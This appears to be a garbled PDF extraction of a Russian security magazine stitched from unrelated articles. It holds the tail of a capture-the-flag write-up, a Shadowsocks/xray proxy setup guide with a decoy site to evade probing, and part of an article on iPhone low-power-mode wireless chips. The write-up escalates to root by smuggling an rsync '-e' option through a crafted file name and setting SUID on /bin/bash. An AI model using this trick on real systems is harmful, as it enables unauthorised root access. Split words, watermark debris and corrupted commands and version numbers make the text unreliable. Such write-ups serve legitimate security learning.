И один из паролей подошел, поэтому мы можем авторизо ваться на хосте и получить стабиль ную сессию .
ssh -p2222 editor@127.0.0.10
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Осматри ваемся на хосте и находим исполняемый файл cron.sh.x.
Разрешения файла
Запус тим файл под ltrace, чтобы посмотреть функции , которые он исполь зует.
Трассиров ка файла
Видим несколь ко вызовов функции exec. Это значит , что файл выполняет в консоли еще какие то команды . Чтобы узнать какие, используем pspy64.
Логи pspy64
В логах pspy видим запуск mysqldump, tar, gzip и других утилит . Среди них
есть и rsync, для которой сущес тву ет техника |
GTFOBins. |
|
|
|
|
||||||||||
|
|
|
|
||||||||||||
В команду rsync будут вставлены |
все файлы из каталога /backup, но, если |
||||||||||||||
мы можем использовать |
«ненормаль |
ное » |
|
имя |
файла |
-e |
test.test, |
||||||||
при вставке этой строки в команду rsync она будет воспри нимать |
ся не как имя |
||||||||||||||
файла , а как параметр -e и его значение |
test.test, что приведет |
к выпол |
|||||||||||||
нению файла test.test. Таким способом |
передадим |
для |
выполнения |
||||||||||||
скрипт, который назначит |
бит SUID на файл командной |
оболоч ки /bin/bash, |
|||||||||||||
чтобы мы могли его запустить |
от имени пользовате |
ля |
root. |
|
|
|
echo "chmod u+sx /bin/bash" > ralf.expl0
chmod +x ralf.expl0
touch -- "-e sh ralf.expl"
Когда у файла установ лен атрибут setuid (S-атрибут ), обычный пользователь , запускающий этот файл, получает повышение прав до пользовате ля — вла дельца файла в рамках запущенного процес са . После получения повышенных прав приложе ние может выполнять задачи, которые недоступны обычному пользовате лю . Из за возможнос ти состояния гонки многие операци онные системы игнориру ют S-атрибут , установ ленный shell-скриптам .
Где то спустя три минуты (период бэкапа понятен благода ря именам файлов ) проверя ем разрешения /bin/bash.
Разрешения файла /bin/bash
S-бит выставлен , поэтому запускаем новую оболоч ку в контек сте root.
Флаг рута
Флаг рута у нас в руках, и машина захвачена !
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
|
||||
w Click |
|
BUY |
|
o m |
ПРИВАТНОСТЬ |
|||||||
to |
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
|
c |
|
|
|
. |
|
|
|
|
|
. |
|
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|
|||
|
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
c |
|
|
|
c |
|
||
|
. |
|
|
|
|
. |
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
СТРОИМ ЗАЩИЩЕННЫЙ КАНАЛ С ВНЕШНИМ МИРОМ
Nik Zerof xtahi0nix@gmail.com
В нашем полном опасностей , чрезвычай но жестоком мире нужно уметь защищать свою жизнь, имущес тво, трафик и драгоцен ные фоточки с котиками . В этой статье я расска жу, как настро ить защищенный канал связи с внешним
миром, который будет сложно отличить от обычного HTTPSтрафика и, следова тельно, заблокиро вать или расшифро вать. Колдунс твовать мы будем с помощью прокси Shadowsocks с плагином xray. Все ПО находится в актуаль ном состоянии и постоян но обновляется .
|
Информа |
ция |
предос тавле |
на |
исключитель |
но |
|||||||
|
для ознакоми |
тель |
ных |
и академи |
чес ких |
целей. |
|||||||
|
Автор просит |
соблюдать |
законодатель |
ство |
той |
||||||||
|
страны , на территории |
которой ты находишься ! |
|
Кто может интересо ваться твоими сетевыми соединени ями? Да кто угодно ! От хакерских группировок до злобных админов , которые любят шейпить раз ные типы трафика (например , наши любимые торренты ). Да и просто иногда требует ся сменить IP (например , чтобы посмотреть зарубежную новинку в онлайн кинотеатре ).
Итак, перед настрой кой софта нам придет ся заняться необходимы ми под готовитель ными работами :
•купить VPS;
•купить доменное имя;
•зарегис трироваться на Cloudfare и выполнить необходимую настрой ку.
Разберем по порядку .
VPS
Чтобы свести риски к минимуму , необходимо выбирать хостера VPS дос таточно дотошно — обращай внимание на то, в каком государстве зарегис трирова но юридичес кое лицо, в каких странах физически расположе ны сер веры. Предпочте ние следует отдавать тем, где законодатель ство строго относит ся к личной информации (например , Швейцария или Исландия). Это касается как места регистра ции юридичес кого лица, так и физического нахождения серверов .
Кроме того, не следует забывать про «альянс 14 глаз» (Австра лия, Бель гия, Великобритания , Германия , Дания, Испания , Италия , Канада, Нидер ланды, Новая Зеландия , Норвегия , США, Франция , Швеция ) — это страны , которые свобод но обменива ются разведдан ными друг с другом (законо дательство у них соответс твующее). Если твои данные попали в руки одной страны из этого списка , можно считать , что остальные тоже их получили .
Кроме того, есть страны , которые так или иначе сотрудни чают с альянсом : Южная Корея, Япония , Израиль , Сингапур . Это на уровне слухов , но, как известно , дыма без огня не бывает . Можно много говорить о том, что кон кретно ты им не нужен, что у них и без тебя забот полно , — тут каждый решает для себя, что ему важнее . Например , автор эти страны сразу вычеркнул
из списка кандидатов . Итак, VPS купили, идем дальше .
ДОМЕННОЕ ИМЯ
Здесь нет никаких особых требова ний, хочу только отметить , что часто хос тинги VPS заодно торгуют и доменными именами . На мой взгляд, более секь юрно использовать возможнос ти того же хостинга VPS, чем обращать ся в другую компанию и там по второму кругу светить свои данные . В этой статье мы будем использовать некий абстрак тный домен secret-site.com. Идем дальше .
Почему не следует использовать ESNI/ECH? Все очень просто : если некоторые сетевые фильтры не могут определить сайт назначения , то они просто блокиру ют соединение .
CLOUDFLARE
Cloudfare в нашей цепочке играет роль защитного механизма : мы скрываем настоящий IP нашего VPS и защищаем его от некоторых видов атак. Трафик от нашего компа будет идти сначала в сеть Cloudfare и только из нее —
к нашему VPS. Кроме того, Cloudfare сгенери рует сертификат для TLS-соеди нения, и весь трафик на всем пути следова ния будет завернут в TLS 1.3.
Для начала нам нужно пройти регистра цию и привязать к сервису куп ленный домен. Далее на вкладке DNS нужно заполнить строки А (две штуки ), в которые мы вводим наш домен (в одну строку с приставкой www, в другую без нее) и IP нашего VPS.
Запол нение записей А
После этого необходимо ввести показанные нам серверы имен Cloudfare в панель управления нашего доменного регистра тора на вкладке DNS.
Серверы имен Cloudfare
Далее на вкладке SSL/TLS:
•выбира ем шифрование Full (strict);
•включаем Always Use HTTPS;
•включаем TLS 1.3;
•устанав лива ем Minimum TLS Version на 1.3;
•включаем Opportunistic Encryption;
•включаем Automatic HTTPS Rewrites.
Включаем шифрование соединения на полную !
Уф ф, немного укрепили TLS, можно двигать ся дальше . Теперь идем в Client Certifcates на той же вкладке и жмем кнопку Create Certifcate для генерации сертифика та и ключа (условим ся, что файлы будут называться secret-site.
pem и secret-site.key).
Теперь идем на VPS и приступа ем к настрой ке .
НАСТРОЙКА VPS
Итак, в некоторой степени утомитель ная подготови тель ная процеду ра окон чена, давай теперь настра ивать сам VPS. Все настрой ки будут делаться на Debian 11 x64.
Сначала обновим пакеты и установим вспомога тельные утилиты :
apt update && apt upgrade -y
apt install -y dnsutils nethogs vnstat sendmail fail2ban nano wget
unzip htop psmisc nginx0
Теперь разберем ся с сертифика тами и ключами от Cloudfare — их мы положим на наш VPS в папку /etc/ssl/ и выдадим ей права только на чтение .
Далее надо сгенери ровать параметр Диффи — Хеллма на:
openssl dhparam -out /etc/ssl/dh-param.pem 40960
Положим его в ту же папку /etc/ssl/.
Теперь приступим к настрой кам Nginx в файле /etc/nginx/nginx.conf — в его стандар тную структуру достаточ но добавить наш сертификат , ключ, DH и некоторые служеб ные настрой ки:
server{0
listen 443 ssl http2 reuseport backlog=131072 fastopen=256;0
ssl_certificate /etc/ssl/secret-site.pem;0
ssl_certificate_key /etc/ssl/secret-site.key;0
ssl_dhparam /etc/ssl/dh-param.pem
ssl_protocols TLSv1.3;0
ssl_ecdh_curve secp384r1;0
add_header X-Robots-Tag "noindex, nofollow" always;0
add_header X-Content-Type-Options "nosniff" always;0
add_header X-Xss-Protection "1; mode=block" always;0
add_header Strict-Transport-Security 'max-age=63072000;
includeSubdomains; preload' always;0
resolver localhost valid=300s;0
ssl_buffer_size 8k;0
ssl_prefer_server_ciphers off;0
Далее добавим локации:
location / {0
limit_req zone=one burst=5 nodelay;0
index index.html index.htm;0
limit_rate 19k;0
set $limit_rate 19K;0
proxy_redirect off;0
}0
location /secretline {
proxy_redirect off;0
proxy_buffering off;0
proxy_http_version 1.1;0
proxy_pass http://localhost:8008/;0
proxy_set_header Host $http_host;0
proxy_set_header Upgrade $http_upgrade;0
proxy_set_header Early-Data $ssl_early_data;0
proxy_set_header Connection "upgrade";0
}0
В location / я вписал index.html — это просто сайт заглушка , который будет болтать ся на нашем серваке для того, чтобы противос тоять активному зондирова нию. Проще говоря, если какой то зонд будет сканиро вать сервер
в поисках Shadowsocks или чего то еще, он просто увидит нашу заглушку . Тогда он подумает , что это обычный сайт, оставит нас в покое и уйдет пить пиво.
Локация location /secretline — это и есть наш Shadowsocks. Вместо строки secretline нужно придумать что то более оригиналь ное и труд ноподбира емое , эта строка будет передавать ся в качестве параметра на кли енте к плагину xray.
Далее скачива ем и устанав ливаем Shadowsocks и xray-plugin:
wget https://github.com/shadowsocks/shadowsocks-rust/releases/
download/v1.14.3/shadowsocks-v1.14.3.x86_64 unknown-linux-gnu.tar.xz
&&
tar -xf shadowsocks-v1.14.3.x86_64-unknown-linux-gnu.tar.xz0
wget https://github.com/teddysun/xray-plugin/releases/download/v1.5.
4/xray-plugin-linux-amd64-v1.5.5.tar.gz &&
tar -xf xray-plugin-linux-amd64-v1.5.5.tar.gz0
Создаем папку shadowsocks и копируем в нее нужные файлы :
mv ssserver /bin0
mv xray-plugin /etc/shadowsocks/xray-plugin0
Настра иваем разрешения :
setcap 'cap_net_bind_service=+eip' /etc/shadowsocks/xray-plugin0
setcap 'cap_net_bind_service=+eip' /bin/ssserver0
Теперь создадим файл конфигура ции сервера Shadowsocks:
touch /etc/shadowsocks/shadowsocks-rust.json0
nano /etc/shadowsocks/shadowsocks-rust.json0
И запишем туда такой текст:
{
"server":["127.0.0.1"],
"server_port":8008,
"password":"Password123",
"timeout":300,
"method":"chacha20-ietf-poly1305",
"fast_open":true,
"reuse_port":true,
"plugin":"/etc/shadowsocks/xray-plugin",
"plugin_opts":"server;loglevel=none",
"nameserver":"1.1.1.1",
"mode": "tcp_and_udp",
"no_delay": true,
"workers":1
}
Давай пройдем ся по основным пунктам :
•"server_port" — порт, на котором будет висеть сервер shadowsocks;
•"workers" — количество ядер на сервере ;
•"ipv6_first" — поддер жка протоко ла IPv6;
•"nameserver" — IP DNS-сервера , если есть локальный , то 127.0.0.1;
•"plugin" и "plugin_opts" используют ся для плагина xray;
•"reuse_port" — оптимиза ция для более быстро го использования сети;
•"method" — используемое шифрование ;
•"password" — пароль для подклю чения к серверу .
Теперь создадим сервис ss-xray.service:
nano /etc/systemd/system/ss-xray.service0
Записы ваем туда следующий текст:
[Unit]
Description=Shadowsocks with XRAY
After=network.target
[Service]
Type=simple
User=nobody
Group=nogroup
LimitNOFILE=51200
ExecStart=/bin/ssserver -c /etc/shadowsocks/shadowsocks-rust.json
ExecStop=/bin/killall ssserver
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
Сохраня емся и выходим: Ctrl + O, Ctrl + X. Включаем сервис :
sysctl -p && systemctl enable ss-xray.service0
С основной настрой кой мы закончили , теперь можно немного оптимизи ровать сетевой стек. В файл /etc/sysctl.conf дописываем следующее :
fs.file-max = 131072
net.core.rmem_max = 8388608
net.core.wmem_max = 8388608
net.core.rmem_default = 8388608
net.core.wmem_default = 8388608
net.core.optmem_max = 8388608
net.core.netdev_max_backlog = 131072
net.core.somaxconn = 131072
net.ipv4.ip_local_port_range = 1024 65535
net.ipv4.tcp_mem = 25600 51200 102400
net.ipv4.tcp_rmem = 4096 1048576 4194304
net.ipv4.tcp_wmem = 4096 1048576 4194304
net.ipv4.tcp_fastopen=3
net.ipv4.tcp_low_latency = 1
net.ipv4.tcp_no_metrics_save = 1
net.ipv4.tcp_adv_win_scale = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_fin_timeout = 30
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_keepalive_time = 150
net.ipv4.tcp_keepalive_probes = 5
net.ipv4.tcp_keepalive_intvl = 30
net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_slow_start_after_idle=0
net.ipv4.tcp_max_syn_backlog = 65536
net.ipv4.tcp_max_tw_buckets = 720000
net.ipv4.tcp_mtu_probing = 1
Опять сохраня емся и перезагружа ем сервер . Теперь все должно работать. Что в итоге у нас получилось ? Запрос от нашего компа уходит в CDN
Cloudfare, а возвра щается от нашего VPS. Для внешнего наблюдате ля соз дается впечат ление, будто комп общается по TLS с каким то сайтом , но что передает — узнать не получится , ибо шифрование . Другими словами , наб людается обычная сетевая активность, чего мы и хотели добиться .
В качестве клиентов к серваку можно смело юзать:
•SagerNet для Android;
•Shadowsocks-windows для винды ;
•ShadowsocksX-NG для macOS.
Как еще можно укрепить наш VPS? Например , так:
•сменить порт SSH для того, чтобы автомати ческие сканеры не ломились на стандар тный порт;
•настро ить Fail2ban, чтобы ограничить количество попыток ввести неп равильный пароль для входа на сервер ;
•вместо прямого обращения к DNS-серверу можно настро ить локальный сервер , который связыва ется с внешним миром при помощи DoH или DoT, чтобы даже хостер VPS не знал, какие DNS-запросы ты шлешь;
•настро ить учет трафика , чтобы не получить внезап ный счет от хостера (если трафик у него лимитирован ).
Одним словом , включай фантазию и обустра ивай свой неприступ ный VPS!
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ПРИВАТНОСТЬ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
КАК ВЫКЛЮЧЕННЫЙ IPHONE МОЖЕТ ШПИОНИТЬ ЗА СВОИМ ВЛАДЕЛЬЦЕМ
Когда iPhone отключен , большинс тво его беспро вод ных чипов продол жают функционировать. На новейших моделях iPhone при отсутствии питания работают Bluetooth, коммуника ция NFC и беспро вод ная связь на базе технологии UWB. Этой особен ностью трубок Apple может восполь зоваться не только владелец телефона , но и злоумыш ленни ки . Как? Давай раз бираться .
Олег Сивченко adrelian@gmail.com
Специалис |
ты из герман ской |
лаборатории |
Secure Mobile Networking Lab опуб |
|||||||||||||||||||||||||||||||||||||||
ликовали |
|
|
большое |
исследова |
ние |
с громким |
заголовком , |
гласящим |
, что |
|||||||||||||||||||||||||||||||||
в iPhone могут завестись |
вредоно |
сы , которые остаются |
активными даже пос |
|||||||||||||||||||||||||||||||||||||||
ле выключения |
питания девайса . Однако если вдумчиво |
прочитать |
все один |
|||||||||||||||||||||||||||||||||||||||
надцать |
страниц |
|
доклада |
, выяснится |
, что такие вредоно |
сы существу ют |
||||||||||||||||||||||||||||||||||||
исключитель |
но в воспален |
ном |
|
воображении |
этих самых герман ских |
иссле |
||||||||||||||||||||||||||||||||||||
дователей |
. На самом деле речь идет о том, что в мобильных |
|
устройствах |
|||||||||||||||||||||||||||||||||||||||
под управлением |
iOS имеется |
несколь |
ко чипов, продол жающих |
работать, |
||||||||||||||||||||||||||||||||||||||
даже когда питание телефона отсутству ет . Так, при выключении |
iPhone поль |
|||||||||||||||||||||||||||||||||||||||||
зователь все равно можно найти его с помощью функции |
Find My Phone. Если |
|||||||||||||||||||||||||||||||||||||||||
батарея разрядит |
ся , то iPhone выключит |
ся автомати |
чес ки и перейдет в энер |
|||||||||||||||||||||||||||||||||||||||
госберега |
ющий |
режим, но в таком случае |
все равно сохраня |
ется |
|
доступ |
||||||||||||||||||||||||||||||||||||
к кредит ным |
картам и другим объектам |
из приложе |
ния Wallet. Эти возможнос |
|
||||||||||||||||||||||||||||||||||||||
ти могут превратить |
выключен |
ный |
телефон в устройство |
|
для слежки за поль |
|||||||||||||||||||||||||||||||||||||
зователем . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
Беспро вод ные |
чипы в iPhone могут работать в так называемом |
режиме |
||||||||||||||||||||||||||||||||||||||||
низкого |
энергопот |
ребле |
ния |
(Low Power Mode, LPM). Обрати внимание |
: LPM |
не тождес твенен энергосбе регающему режиму, который обознача ется икон кой «желтая батарея». В режиме LPM устройство не реагирует на нажатия или встряхива ние. Этот режим активиру ется либо когда пользователь вык лючает телефон, либо когда iOS завершает работу автомати чески из за низ кого заряда батареи. Если нажать кнопку включения в эконом ном режиме с низким энергопот реблением, то экран активиру ется всего на несколь ко секунд. Устройство сообщит о низком заряде аккумуля тора и выведет список активных в данный момент возможнос тей LPM, как показано на следующем рисунке .
Find My и Express Cards в энергосбе рега ющем режиме
Сеть Find My Phone остается доступна после выключения устройства . Если ты потеряешь iPhone, когда он разряжен , как раз с помощью этой сети его и можно найти — она работает на основе Bluetooth. Режим Express Mode под держивает выбранные проездные билеты, а также кредит ные карты и циф ровые ключи из «Кошелька » — так устройство удается задейство вать быс трее, дополнитель ная аутентифика ция со стороны пользовате ля не требует ся. При отключении из за низкого заряда батареи эти карты и ключи остаются доступны для использования на протяже нии пяти часов. Исходно для под держания устройства во включен ном виде со всеми этими возможнос тями требова лась только NFC. Теперь же появился новый протокол DCK 3.0, использующий режимы Bluetooth и UWB, а также поддержи вающий режим Express Mode. Этот протокол использует ся в конструк ции электрон ных авто мобильных ключей , а режим Express Mode предох раняет от неприят ностей из разряда «захлопнул ключи в машине или в квартире ». Еще он оставляет в распоряже нии пользовате ля его карты , чтобы можно было выполнять пла тежи, даже если телефон сел.
КАК ЭТО РАБОТАЕТ?
Поддер жка LPM реализова на на аппарат ном уровне . Модуль управления питанием PMU может включать чипы поодиноч ке . Чипы для Bluetooth и UWB жестко подклю чены к защищенному элемен ту (SE) чипа NFC и хранят сек реты, которые должны быть доступны в режиме LPM. Посколь ку LPM под держивает ся на аппарат ном уровне , эту поддер жку нельзя убрать, меняя програм мные компонен ты . Именно поэтому владелец современ ного айфона
уже не может быть уверен ным , что чипы для беспро вод ной |
связи отключат ся |
||||||||||||||||||
после выключения |
устройства |
. |
|
|
|
|
|
|
|
|
|
|
|||||||
LPM значитель |
но |
коварнее , |
чем имитация |
выключения |
девайса , |
||||||||||||||
при которой просто деактивиру |
ется |
экран. Вспомина |
ется |
случай , когда |
|||||||||||||||
Агентство националь |
ной |
безопасности |
США имитиро |
вало |
выключение |
экра |
|||||||||||||
на на умном телевизоре |
в целях шпиона жа . На айфоне при этом будет |
||||||||||||||||||
заметен быстрый |
расход батареи, и такая «подсадка |
» в мобильное |
устрой |
||||||||||||||||
ство не останет ся незамечен ной . |
|
|
|
|
|
|
|
|
|
|
|||||||||
Возможнос |
ти Bluetooth и UWB в режиме LPM не документирова |
ны |
и до |
||||||||||||||||
недавнего |
времени |
не исследова |
лись |
. Но в руководстве по безопасности |
для платформы |
Apple подробно |
описана |
|
относяща |
яся |
|
к NFC LPM воз |
|||||||||||||||||||||||||||||||||||||||||||||
можность под названи |
ем Express Card, появившаяся |
в iOS 12. В своей работе |
||||||||||||||||||||||||||||||||||||||||||||||||||
герман |
ские |
исследова |
тели |
|
использовали |
инстру мен ты для анализа |
и изме |
|||||||||||||||||||||||||||||||||||||||||||||
нения прошив ки |
в |
современ |
ных |
|
айфонах , доступные |
|
для |
скачива |
ния |
|||||||||||||||||||||||||||||||||||||||||||
в репозитори |
ях InternalBlue и Frankenstein. С помощью этих программ |
они |
||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||||
выяснили |
, что в энергосбе |
рега |
ющем |
режиме айфоны не столь безопасны , |
||||||||||||||||||||||||||||||||||||||||||||||||
как это кажется со стороны |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||
iOS |
реализует |
безопасные |
беспро вод ные |
платежи |
на NFC-чипе с при |
|||||||||||||||||||||||||||||||||||||||||||||||
менением |
технологии |
Secure Element (SE). Эта технология |
работает на плат |
|||||||||||||||||||||||||||||||||||||||||||||||||
форме JavaCard, которая выполняет |
апплеты , например |
Apple Pay или DCK. |
||||||||||||||||||||||||||||||||||||||||||||||||||
В ходе начальной |
установ ки апплеты персонали |
зиру |
ются |
. |
Персонали |
зация |
||||||||||||||||||||||||||||||||||||||||||||||
позволя |
ет дополнитель |
но разгра ничи |
вать |
зоны безопасности |
. Например |
, |
||||||||||||||||||||||||||||||||||||||||||||||
в платеж ном |
апплете не хранит ся никакой информации |
о кредит ных |
картах , |
|||||||||||||||||||||||||||||||||||||||||||||||||
кроме |
отзывного |
идентифика |
тора |
, известно го платеж ной |
|
сети. Апплеты |
, |
|||||||||||||||||||||||||||||||||||||||||||||
в том числе их секреты |
, отделены |
друг от друга . Они хранят ся в SE и не |
||||||||||||||||||||||||||||||||||||||||||||||||||
покидают ее. В процес се платежа |
или при беспро вод ных |
транзакци |
ях среда |
|||||||||||||||||||||||||||||||||||||||||||||||||
SE в составе |
|
чипа NFC откликает |
ся |
напрямую |
, не переадре |
суя эти данные |
||||||||||||||||||||||||||||||||||||||||||||||
в iOS. Следова |
тель |
но , даже если iOS или приложе |
ния |
скомпро мети |
рова |
ны , |
||||||||||||||||||||||||||||||||||||||||||||||
кредит ные |
карты и другие ключи невозможно |
украсть из SE. |
|
|
|
|
|
|
|
|
|
|
|
Исполь зование безопасной среды (SE) и процес сора Secure Enclave Processor (SEP) в соответс твии с документаци ей Apple
Среда SE подклю чена к процес сору Secure Enclave Processor (SEP). Процес
сор SEP авторизу ет платежи , обеспечивая аутентифика цию пользовате ля через Touch ID, Face ID или c помощью пин кода. Обрати внимание : SEP не хранит данные в SE, а использует отдельный безопасный компонент хра нилище . SE и SEP объеди няются в пару, следова тельно, коммуника ция между ними может шифровать ся и аутентифици роваться.
ЭКСПРЕСС-КАРТЫ И FIND MY |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||
Приложе |
ние |
|
|
Wallet («Кошелек») позволя |
ет конфигури |
ровать |
|
работающие |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
по NFC кредит ные , дискон тные |
|
|
карты и проездные |
билеты, а также ключи |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
для режима Express Mode. Экспресс |
карта больше не требует |
|
|
авториза |
ции |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
по SEP, обеспечивая |
таким образом |
быстрые |
и удобные |
|
платежи |
без разбло |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
кировки iPhone. В экспресс |
режиме, чтобы пройти авториза |
цию , достаточ |
но |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
лишь владеть |
|
|
самим телефоном . Если авториза |
цию |
|
|
пропус тить , ни SEP, |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ни iOS не потребу |
ются |
|
|
для завершения |
транзакции |
по NFC, а сама ком |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
муникация сможет работать автоном но , при помощи апплетов SE. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Как только у iPhone закончится |
|
заряд, при условии , что у пользовате |
ля |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
есть экспресс |
карта , iPhone выключит |
ся , но чип NFC останет ся запитан |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
на протяже |
нии |
пяти часов. В этот период экспресс |
карты будут работать, |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
но при |
выключении |
устройства |
по инициати |
ве пользовате |
ля NFС также |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
отключает |
ся . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
В iOS 15 появились |
|
две новые возможнос |
ти , доступные |
в режиме низкого |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
энергопот |
ребле |
ния : Find My Phone, собствен |
ная |
сеть Apple на основе |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Bluetooth с низким |
|
энергопот |
ребле |
нием |
|
(BLE), работающая |
|
офлайн и пред |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
назначен ная для поиска потерянных устройств , и поддер жка цифрового |
авто |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
мобильного |
|
ключа (Digital Car Key, DCK 3.0), при которой UWB применя |
ется |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
для безопасного |
измерения |
рассто яния |
. Следова |
тель |
но , и Bluetooth, и чип |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
UWB могут работать автоном но , пока iOS отключена |
. Эти возможнос |
ти |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
не документирова |
ны и ранее не исследова |
лись |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Find My — это офлайновая |
|
сеть для нахождения |
устройств , которую авто |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ры доклада |
|
детально исследова |
ли , включая |
реверс соответс |
тву юще |
го ПО. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Она находит iPhone, AirTag и другие устройства |
|
Apple, даже когда они не под |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ключены |
|
к интернету . Если девайс не в сети, в режиме пропажи |
он регулярно |
